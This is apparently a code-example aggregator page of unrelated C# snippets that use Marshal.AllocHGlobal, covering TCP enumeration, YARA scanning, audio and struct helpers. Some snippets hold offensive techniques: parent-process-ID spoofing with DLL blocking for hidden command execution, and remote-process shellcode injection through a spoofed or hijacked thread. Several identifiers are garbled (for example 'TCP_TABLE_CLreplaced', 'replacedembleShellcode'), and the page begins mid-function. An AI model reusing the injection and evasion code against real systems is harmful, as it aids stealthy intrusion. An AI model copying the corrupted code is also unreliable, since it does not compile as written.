Marshal.FreeHGlobal(hTcpTable);
hTcpTable = Marshal.AllocHGlobal(dwSize);
ret = iphlpapi.GetExtendedTcpTable(hTcpTable, ref dwSize, true, util.AF_INET6, TCP_TABLE_CLreplaced.TCP_TABLE_OWNER_PID_CONNECTIONS, 0);
if (ret != util.NO_ERROR)
{
Marshal.FreeHGlobal(hTcpTable);
throw new Exception("GetExtendedTcpTable return: " + ret);
}
}
}
{
MIB_TCP6ROW_OWNER_PID item = new MIB_TCP6ROW_OWNER_PID();
int dwNumEntries = Marshal.ReadInt32(hTcpTable);
IntPtr pItem = new IntPtr(hTcpTable.ToInt32() + sizeof(int));
for (int i = 0; i < dwNumEntries; ++i)
{
//var item = (MIB_TCP6ROW_OWNER_PID)Marshal.PtrToStructure(pItem, typeof(MIB_TCP6ROW_OWNER_PID));
Marshal.PtrToStructure(pItem, item);
pItem = new IntPtr(pItem.ToInt64() + Marshal.SizeOf(typeof(MIB_TCP6ROW_OWNER_PID)));
yield return item;
}
Marshal.FreeHGlobal(hTcpTable);
}
}
19
View Source File : TcpEngine.cs
License : GNU General Public License v3.0
Project Creator : aiportal
License : GNU General Public License v3.0
Project Creator : aiportal
private static IEnumerable<MIB_TCPROW_OWNER_PID> EnumTcpConnectionsV4()
{
int dwSize = sizeof(int) + Marshal.SizeOf(typeof(MIB_TCPROW_OWNER_PID)) * 100;
IntPtr hTcpTable = IntPtr.Zero;
{
hTcpTable = Marshal.AllocHGlobal(dwSize);
int ret = iphlpapi.GetExtendedTcpTable(hTcpTable, ref dwSize, true, util.AF_INET, TCP_TABLE_CLreplaced.TCP_TABLE_OWNER_PID_CONNECTIONS, 0);
if (ret != util.NO_ERROR)
{
// retry for new dwSize.
Marshal.FreeHGlobal(hTcpTable);
hTcpTable = Marshal.AllocHGlobal(dwSize);
ret = iphlpapi.GetExtendedTcpTable(hTcpTable, ref dwSize, true, util.AF_INET, TCP_TABLE_CLreplaced.TCP_TABLE_OWNER_PID_CONNECTIONS, 0);
if (ret != util.NO_ERROR)
{
Marshal.FreeHGlobal(hTcpTable);
throw new Exception("GetExtendedTcpTable return: " + ret);
}
}
}
{
MIB_TCPROW_OWNER_PID item = new MIB_TCPROW_OWNER_PID();
int dwNumEntries = Marshal.ReadInt32(hTcpTable);
IntPtr pItem = new IntPtr(hTcpTable.ToInt32() + sizeof(int));
for (int i = 0; i < dwNumEntries; ++i)
{
//var item = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(pItem, typeof(MIB_TCPROW_OWNER_PID));
Marshal.PtrToStructure(pItem, item);
pItem = new IntPtr(pItem.ToInt64() + Marshal.SizeOf(typeof(MIB_TCPROW_OWNER_PID)));
yield return item;
}
Marshal.FreeHGlobal(hTcpTable);
}
}
19
View Source File : TcpEngine.cs
License : GNU General Public License v3.0
Project Creator : aiportal
License : GNU General Public License v3.0
Project Creator : aiportal
private static IEnumerable<MIB_TCP6ROW_OWNER_PID> EnumTcpConnectionsV6()
{
int dwSize = sizeof(int) + Marshal.SizeOf(typeof(MIB_TCP6ROW_OWNER_PID)) * 100;
IntPtr hTcpTable = IntPtr.Zero;
{
hTcpTable = Marshal.AllocHGlobal(dwSize);
int ret = iphlpapi.GetExtendedTcpTable(hTcpTable, ref dwSize, true, util.AF_INET6, TCP_TABLE_CLreplaced.TCP_TABLE_OWNER_PID_CONNECTIONS, 0);
if (ret != util.NO_ERROR)
{
// retry for new dwSize.
Marshal.FreeHGlobal(hTcpTable);
hTcpTable = Marshal.AllocHGlobal(dwSize);
ret = iphlpapi.GetExtendedTcpTable(hTcpTable, ref dwSize, true, util.AF_INET6, TCP_TABLE_CLreplaced.TCP_TABLE_OWNER_PID_CONNECTIONS, 0);
if (ret != util.NO_ERROR)
{
Marshal.FreeHGlobal(hTcpTable);
throw new Exception("GetExtendedTcpTable return: " + ret);
}
}
}
{
MIB_TCP6ROW_OWNER_PID item = new MIB_TCP6ROW_OWNER_PID();
int dwNumEntries = Marshal.ReadInt32(hTcpTable);
IntPtr pItem = new IntPtr(hTcpTable.ToInt32() + sizeof(int));
for (int i = 0; i < dwNumEntries; ++i)
{
//var item = (MIB_TCP6ROW_OWNER_PID)Marshal.PtrToStructure(pItem, typeof(MIB_TCP6ROW_OWNER_PID));
Marshal.PtrToStructure(pItem, item);
pItem = new IntPtr(pItem.ToInt64() + Marshal.SizeOf(typeof(MIB_TCP6ROW_OWNER_PID)));
yield return item;
}
Marshal.FreeHGlobal(hTcpTable);
}
}
19
View Source File : CustomScanner.cs
License : Apache License 2.0
Project Creator : airbus-cert
License : Apache License 2.0
Project Creator : airbus-cert
public virtual List<ScanResult> ScanMemory(
ref byte[] buffer,
int length,
ExternalVariables externalVariables,
YR_SCAN_FLAGS flags)
{
YR_CALLBACK_FUNC scannerCallback = new YR_CALLBACK_FUNC(HandleMessage);
List<ScanResult> scanResults = new List<ScanResult>();
GCHandleHandler resultsHandle = new GCHandleHandler(scanResults);
Methods.yr_scanner_set_callback(customScannerPtr, scannerCallback, resultsHandle.GetPointer());
SetFlags(flags);
SetExternalVariables(externalVariables);
IntPtr btCpy = Marshal.AllocHGlobal(buffer.Length); ;
Marshal.Copy(buffer, 0, btCpy, (int)buffer.Length);
ErrorUtility.ThrowOnError(
Methods.yr_scanner_scan_mem(
customScannerPtr,
btCpy,
(ulong)length
));
ClearExternalVariables(externalVariables);
return scanResults;
}
19
View Source File : Scanner.cs
License : Apache License 2.0
Project Creator : airbus-cert
License : Apache License 2.0
Project Creator : airbus-cert
public virtual List<ScanResult> ScanMemory(
ref byte[] buffer,
int length,
CompiledRules rules,
YR_SCAN_FLAGS flags)
{
var results = new List<ScanResult>();
GCHandleHandler resultsHandle = new GCHandleHandler(results);
IntPtr btCpy = Marshal.AllocHGlobal(buffer.Length); ;
Marshal.Copy(buffer, 0, btCpy, (int)buffer.Length);
ErrorUtility.ThrowOnError(
Methods.yr_rules_scan_mem(
rules.BasePtr,
btCpy,
(ulong)length,
(int)flags,
callbackPtr,
resultsHandle.GetPointer(),
YR_TIMEOUT));
return results;
}
19
View Source File : Program.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : airzero24
License : BSD 3-Clause "New" or "Revised" License
Project Creator : airzero24
private static int GetParentProcess(IntPtr Handle)
{
var basicProcessInformation = new PROCESS_BASIC_INFORMATION();
IntPtr pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(basicProcessInformation));
Marshal.StructureToPtr(basicProcessInformation, pProcInfo, true);
NtQueryInformationProcess(Handle, PROCESSINFOCLreplaced.ProcessBasicInformation, pProcInfo, Marshal.SizeOf(basicProcessInformation), out int returnLength);
basicProcessInformation = (PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(PROCESS_BASIC_INFORMATION));
return basicProcessInformation.InheritedFromUniqueProcessId;
}
19
View Source File : Program.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : airzero24
License : BSD 3-Clause "New" or "Revised" License
Project Creator : airzero24
public static string ExecuteShellCommand(int PPID, bool BlockDLLs, string Command)
{
var saHandles = new SECURITY_ATTRIBUTES();
saHandles.nLength = Marshal.SizeOf(saHandles);
saHandles.bInheritHandle = true;
saHandles.lpSecurityDescriptor = IntPtr.Zero;
IntPtr hStdOutRead;
IntPtr hStdOutWrite;
IntPtr hDupStdOutWrite = IntPtr.Zero;
CreatePipe(
out hStdOutRead,
out hStdOutWrite,
ref saHandles,
0);
SetHandleInformation(
hStdOutRead,
HANDLE_FLAGS.INHERIT,
0);
var pInfo = new PROCESS_INFORMATION();
var siEx = new STARTUPINFOEX();
siEx.StartupInfo.cb = Marshal.SizeOf(siEx);
siEx.StartupInfo.hStdErr = hStdOutWrite;
siEx.StartupInfo.hStdOutput = hStdOutWrite;
string result = string.Empty;
try
{
var lpSize = IntPtr.Zero;
if (BlockDLLs)
{
InitializeProcThreadAttributeList(
IntPtr.Zero,
2,
0,
ref lpSize);
siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
InitializeProcThreadAttributeList(
siEx.lpAttributeList,
2,
0,
ref lpSize);
var lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteInt64(lpMitigationPolicy, (long)BINARY_SIGNATURE_POLICY.PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON);
UpdateProcThreadAttribute(
siEx.lpAttributeList,
0,
0x20007,
lpMitigationPolicy,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
}
else
{
InitializeProcThreadAttributeList(
IntPtr.Zero,
1,
0,
ref lpSize);
siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
InitializeProcThreadAttributeList(
siEx.lpAttributeList,
1,
0,
ref lpSize);
}
var parentHandle = OpenProcess(
0x0080 | 0x0040,
false,
PPID);
var lpParentProcess = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpParentProcess, parentHandle);
UpdateProcThreadAttribute(
siEx.lpAttributeList,
0,
0x00020000,
lpParentProcess,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
var hCurrent = Process.GetCurrentProcess().Handle;
DuplicateHandle(
hCurrent,
hStdOutWrite,
parentHandle,
ref hDupStdOutWrite,
0,
true,
0x00000001 | 0x00000002);
siEx.StartupInfo.hStdErr = hDupStdOutWrite;
siEx.StartupInfo.hStdOutput = hDupStdOutWrite;
siEx.StartupInfo.dwFlags = 0x00000001 | 0x00000100;
siEx.StartupInfo.wShowWindow = 0;
var ps = new SECURITY_ATTRIBUTES();
var ts = new SECURITY_ATTRIBUTES();
ps.nLength = Marshal.SizeOf(ps);
ts.nLength = Marshal.SizeOf(ts);
CreateProcess(
null,
Command,
ref ps,
ref ts,
true,
CREATION_FLAGS.CREATE_NO_WINDOW | CREATION_FLAGS.EXTENDED_STARTUPINFO_PRESENT,
IntPtr.Zero,
null,
ref siEx,
out pInfo);
var safeHandle = new SafeFileHandle(hStdOutRead, false);
var encoding = Encoding.GetEncoding(GetConsoleOutputCP());
var reader = new StreamReader(new FileStream(safeHandle, FileAccess.Read, 4096, false), encoding, true);
var exit = false;
try
{
do
{
if (WaitForSingleObject(pInfo.hProcess, 100) == 0)
exit = true;
char[] buf = null;
int bytesRead;
uint bytesToRead = 0;
var peekRet = PeekNamedPipe(
hStdOutRead,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
ref bytesToRead,
IntPtr.Zero);
if (peekRet == true && bytesToRead == 0)
if (exit == true)
break;
else
continue;
if (bytesToRead > 4096)
bytesToRead = 4096;
buf = new char[bytesToRead];
bytesRead = reader.Read(buf, 0, buf.Length);
if (bytesRead > 0)
result += new string(buf);
} while (true);
reader.Close();
}
catch { }
finally
{
safeHandle.Close();
}
CloseHandle(hStdOutRead);
}
catch { }
finally
{
DeleteProcThreadAttributeList(siEx.lpAttributeList);
Marshal.FreeHGlobal(siEx.lpAttributeList);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
}
return result;
}
19
View Source File : CreateThread.cs
License : MIT License
Project Creator : Akaion
License : MIT License
Project Creator : Akaion
public void CallFunction(CallDescriptor callDescriptor)
{
// Write the shellcode used to perform the function call into a buffer
var shellcode = replacedembleShellcode(callDescriptor);
var shellcodeBuffer = _memory.AllocateBlock(IntPtr.Zero, shellcode.Length, ProtectionType.ReadWrite);
_memory.WriteBlock(shellcodeBuffer, shellcode);
_memory.ProtectBlock(shellcodeBuffer, shellcode.Length, ProtectionType.ExecuteRead);
// Create a suspended thread with a spoofed start address
var ntStatus = Ntdll.NtCreateThreadEx(out var threadHandle, AccessMask.SpecificRightsAll | AccessMask.StandardRightsAll, IntPtr.Zero, _process.SafeHandle, _process.MainModule.BaseAddress, IntPtr.Zero, ThreadCreationFlags.CreateSuspended | ThreadCreationFlags.HideFromDebugger, 0, 0, 0, IntPtr.Zero);
if (ntStatus != NtStatus.Success)
{
throw new Win32Exception($"Failed to call NtCreateThreadEx with error code {ntStatus}");
}
if (callDescriptor.IsWow64Call)
{
// Get the context of the thread
var threadContext = new Wow64Context {ContextFlags = Wow64ContextFlags.Integer};
if (!Kernel32.Wow64GetThreadContext(threadHandle, ref threadContext))
{
throw new Win32Exception($"Failed to call Wow64GetThreadContext with error code {Marshal.GetLastWin32Error()}");
}
// Change the spoofed start address to the address of the shellcode
threadContext.Eax = (int) shellcodeBuffer;
// Update the context of the thread
if (!Kernel32.Wow64SetThreadContext(threadHandle, ref threadContext))
{
throw new Win32Exception($"Failed to call Wow64GetThreadContext with error code {Marshal.GetLastWin32Error()}");
}
}
else
{
// Get the context of the thread
var threadContext = new Context {ContextFlags = ContextFlags.Integer};
var threadContextBuffer = Marshal.AllocHGlobal(Unsafe.SizeOf<Context>());
Marshal.StructureToPtr(threadContext, threadContextBuffer, false);
if (!Kernel32.GetThreadContext(threadHandle, threadContextBuffer))
{
throw new Win32Exception($"Failed to call GetThreadContext with error code {Marshal.GetLastWin32Error()}");
}
threadContext = Marshal.PtrToStructure<Context>(threadContextBuffer);
// Change the spoofed start address to the address of the shellcode
threadContext.Rcx = (long) shellcodeBuffer;
Marshal.StructureToPtr(threadContext, threadContextBuffer, false);
// Update the context of the thread
if (!Kernel32.SetThreadContext(threadHandle, threadContextBuffer))
{
throw new Win32Exception($"Failed to call SetThreadContext with error code {Marshal.GetLastWin32Error()}");
}
Marshal.FreeHGlobal(threadContextBuffer);
}
// Resume the thread
if (Kernel32.ResumeThread(threadHandle) == -1)
{
throw new Win32Exception($"Failed to call ResumeThread with error code {Marshal.GetLastWin32Error()}");
}
if (Kernel32.WaitForSingleObject(threadHandle, int.MaxValue) == -1)
{
throw new Win32Exception($"Failed to call WaitForSingleObject with error code {Marshal.GetLastWin32Error()}");
}
threadHandle.Dispose();
_memory.FreeBlock(shellcodeBuffer);
}
19
View Source File : MemoryManager.cs
License : MIT License
Project Creator : Akaion
License : MIT License
Project Creator : Akaion
internal byte[] ReadVirtualMemory(IntPtr baseAddress, int bytesToRead)
{
var bytesBuffer = Marshal.AllocHGlobal(bytesToRead);
if (!ReadProcessMemory(_processHandle, baseAddress, bytesBuffer, bytesToRead, IntPtr.Zero))
{
ExceptionHandler.ThrowWin32Exception("Failed to read from a region of virtual memory in the remote process");
}
var bytesRead = new byte[bytesToRead];
Marshal.Copy(bytesBuffer, bytesRead, 0, bytesToRead);
Marshal.FreeHGlobal(bytesBuffer);
return bytesRead;
}
19
View Source File : MemoryManager.cs
License : MIT License
Project Creator : Akaion
License : MIT License
Project Creator : Akaion
internal TStructure ReadVirtualMemory<TStructure>(IntPtr baseAddress) where TStructure : struct
{
var structureSize = Marshal.SizeOf<TStructure>();
var structureBuffer = Marshal.AllocHGlobal(structureSize);
if (!ReadProcessMemory(_processHandle, baseAddress, structureBuffer, structureSize, IntPtr.Zero))
{
ExceptionHandler.ThrowWin32Exception("Failed to read from a region of virtual memory in the remote process");
}
try
{
return Marshal.PtrToStructure<TStructure>(structureBuffer);
}
finally
{
Marshal.FreeHGlobal(structureBuffer);
}
}
19
View Source File : HijackThread.cs
License : MIT License
Project Creator : Akaion
License : MIT License
Project Creator : Akaion
public void CallFunction(CallDescriptor callDescriptor)
{
var completionFlagBuffer = _memory.AllocateBlock(IntPtr.Zero, sizeof(bool), ProtectionType.ReadWrite);
// Write the shellcode used to perform the function call into a buffer
var shellcode = replacedembleShellcode(callDescriptor, completionFlagBuffer);
var shellcodeBuffer = _memory.AllocateBlock(IntPtr.Zero, shellcode.Length, ProtectionType.ReadWrite);
_memory.WriteBlock(shellcodeBuffer, shellcode);
_memory.ProtectBlock(shellcodeBuffer, shellcode.Length, ProtectionType.ExecuteRead);
// Open a handle to the first thread
var firstThreadHandle = Kernel32.OpenThread(AccessMask.SpecificRightsAll | AccessMask.StandardRightsAll, false, _process.Threads[0].Id);
if (firstThreadHandle.IsInvalid)
{
throw new Win32Exception($"Failed to call OpenThread with error code {Marshal.GetLastWin32Error()}");
}
if (callDescriptor.IsWow64Call)
{
// Suspend the thread
if (Kernel32.Wow64SuspendThread(firstThreadHandle) == -1)
{
throw new Win32Exception($"Failed to call Wow64SuspendThread with error code {Marshal.GetLastWin32Error()}");
}
// Get the context of the thread
var threadContext = new Wow64Context {ContextFlags = Wow64ContextFlags.Control};
if (!Kernel32.Wow64GetThreadContext(firstThreadHandle, ref threadContext))
{
throw new Win32Exception($"Failed to call Wow64GetThreadContext with error code {Marshal.GetLastWin32Error()}");
}
// Write the original instruction pointer of the thread into the top of its stack
threadContext.Esp -= sizeof(int);
_memory.Write((IntPtr) threadContext.Esp, threadContext.Eip);
// Overwrite the instruction pointer of the thread with the address of the shellcode
threadContext.Eip = (int) shellcodeBuffer;
// Update the context of the thread
if (!Kernel32.Wow64SetThreadContext(firstThreadHandle, ref threadContext))
{
throw new Win32Exception($"Failed to call Wow64SetThreadContext with error code {Marshal.GetLastWin32Error()}");
}
}
else
{
// Suspend the thread
if (Kernel32.SuspendThread(firstThreadHandle) == -1)
{
throw new Win32Exception($"Failed to call SuspendThread with error code {Marshal.GetLastWin32Error()}");
}
// Get the context of the thread
var threadContext = new Context {ContextFlags = ContextFlags.Control};
var threadContextBuffer = Marshal.AllocHGlobal(Unsafe.SizeOf<Context>());
Marshal.StructureToPtr(threadContext, threadContextBuffer, false);
if (!Kernel32.GetThreadContext(firstThreadHandle, threadContextBuffer))
{
throw new Win32Exception($"Failed to call GetThreadContext with error code {Marshal.GetLastWin32Error()}");
}
threadContext = Marshal.PtrToStructure<Context>(threadContextBuffer);
// Write the original instruction pointer of the thread into the top of its stack
threadContext.Rsp -= sizeof(long);
_memory.Write((IntPtr) threadContext.Rsp, threadContext.Rip);
// Overwrite the instruction pointer of the thread with the address of the shellcode
threadContext.Rip = (long) shellcodeBuffer;
Marshal.StructureToPtr(threadContext, threadContextBuffer, false);
// Update the context of the thread
if (!Kernel32.SetThreadContext(firstThreadHandle, threadContextBuffer))
{
throw new Win32Exception($"Failed to call SetThreadContext with error code {Marshal.GetLastWin32Error()}");
}
Marshal.FreeHGlobal(threadContextBuffer);
}
// Send a message to the thread to ensure it executes the shellcode
if (!User32.PostThreadMessage(_process.Threads[0].Id, MessageType.Null, IntPtr.Zero, IntPtr.Zero))
{
throw new Win32Exception($"Failed to call PostThreadMessage with error code {Marshal.GetLastWin32Error()}");
}
// Resume the thread
if (Kernel32.ResumeThread(firstThreadHandle) == -1)
{
throw new Win32Exception($"Failed to call ResumeThread with error code {Marshal.GetLastWin32Error()}");
}
while (!_memory.Read<bool>(completionFlagBuffer))
{
Thread.Sleep(1);
}
firstThreadHandle.Dispose();
_memory.FreeBlock(shellcodeBuffer);
_memory.FreeBlock(completionFlagBuffer);
}
19
View Source File : MidiFIlePlot.cs
License : GNU Affero General Public License v3.0
Project Creator : akira0245
License : GNU Affero General Public License v3.0
Project Creator : akira0245
private static unsafe T* Alloc<T>() where T : unmanaged
{
var allocHGlobal = (T*)Marshal.AllocHGlobal(sizeof(T));
*allocHGlobal = new T();
return allocHGlobal;
}
19
View Source File : UnmanagedCollection.cs
License : MIT License
Project Creator : Alan-FGR
License : MIT License
Project Creator : Alan-FGR
[MethodImpl(MethodImplOptions.AggressiveInlining)]
private void GrowMemoryBlock(int newElementCount)
{
var newDataSize = elementSize_ * newElementCount;
var newData = (T*)Marshal.AllocHGlobal(newDataSize);
Buffer.MemoryCopy(Data, newData, DataSizeInBytes, DataSizeInBytes);
Marshal.FreeHGlobal((IntPtr)Data);
dataSizeInElements_ = newElementCount;
Data = newData;
}
19
View Source File : UntypedBuffer.cs
License : MIT License
Project Creator : Alan-FGR
License : MIT License
Project Creator : Alan-FGR
private static (IntPtr unaligned, IntPtr aligned) AlignedAlloc(int size)
{
var unaligned = Marshal.AllocHGlobal(size + 8);
long snappedPtr = (((long)unaligned + 15) / 16) * 16;
var aligned = (IntPtr)snappedPtr;
return (unaligned, aligned);
}
19
View Source File : GvrAudio.cs
License : MIT License
Project Creator : alanplotko
License : MIT License
Project Creator : alanplotko
public static void UpdateAudioRoom(GvrAudioRoom room, bool roomEnabled) {
// Update the enabled rooms list.
if (roomEnabled) {
if (!enabledRooms.Contains(room)) {
enabledRooms.Add(room);
}
} else {
enabledRooms.Remove(room);
}
// Update the current room effects to be applied.
if(initialized) {
if (enabledRooms.Count > 0) {
GvrAudioRoom currentRoom = enabledRooms[enabledRooms.Count - 1];
RoomProperties roomProperties = GetRoomProperties(currentRoom);
// Preplaced the room properties into a pointer.
IntPtr roomPropertiesPtr = Marshal.AllocHGlobal(Marshal.SizeOf(roomProperties));
Marshal.StructureToPtr(roomProperties, roomPropertiesPtr, false);
SetRoomProperties(roomPropertiesPtr);
Marshal.FreeHGlobal(roomPropertiesPtr);
} else {
// Set the room properties to null, which will effectively disable the room effects.
SetRoomProperties(IntPtr.Zero);
}
}
}
19
View Source File : StructHelper.cs
License : MIT License
Project Creator : albyho
License : MIT License
Project Creator : albyho
public static T BytesToStuct<T>(byte[] bytes, Int32 offset) where T : struct
{
Type type = typeof(T);
//得到结构体的大小
Int32 size = Marshal.SizeOf(type);
//byte数组长度小于结构体的大小
if (size > bytes.Length - offset)
{
throw new ArgumentException("bytes 的长度不足", nameof(bytes));
//返回空
//return default(T);
}
//分配结构体大小的内存空间
IntPtr structPtr = Marshal.AllocHGlobal(size);
//将byte数组拷到分配好的内存空间
Marshal.Copy(bytes, offset, structPtr, size);
//将内存空间转换为目标结构体
object obj = Marshal.PtrToStructure(structPtr, type);
//释放内存空间
Marshal.FreeHGlobal(structPtr);
//返回结构体
return (T)obj;
}
19
View Source File : StructHelper.cs
License : MIT License
Project Creator : albyho
License : MIT License
Project Creator : albyho
public static byte[] StructToBytes<T>(T structObj) where T : struct
{
//得到结构体的大小
Int32 size = Marshal.SizeOf(structObj);
//创建byte数组
var bytes = new byte[size];
//分配结构体大小的内存空间
IntPtr structPtr = Marshal.AllocHGlobal(size);
//将结构体拷到分配好的内存空间
Marshal.StructureToPtr(structObj, structPtr, false);
//从内存空间拷到byte数组
Marshal.Copy(structPtr, bytes, 0, size);
//释放内存空间
Marshal.FreeHGlobal(structPtr);
//返回byte数组
return bytes;
}
19
View Source File : StructHelper.cs
License : MIT License
Project Creator : albyho
License : MIT License
Project Creator : albyho
public static T BytesToStuct<T>(byte[] bytes) where T : struct
{
Type type = typeof(T);
//得到结构体的大小
Int32 size = Marshal.SizeOf(type);
//byte数组长度小于结构体的大小
if (size > bytes.Length)
{
throw new ArgumentException("bytes 的长度不足", nameof(bytes));
//返回空
//return default(T);
}
//分配结构体大小的内存空间
IntPtr structPtr = Marshal.AllocHGlobal(size);
//将byte数组拷到分配好的内存空间
Marshal.Copy(bytes, 0, structPtr, size);
//将内存空间转换为目标结构体
object obj = Marshal.PtrToStructure(structPtr, type);
//释放内存空间
Marshal.FreeHGlobal(structPtr);
//返回结构体
return (T)obj;
}
See More Examples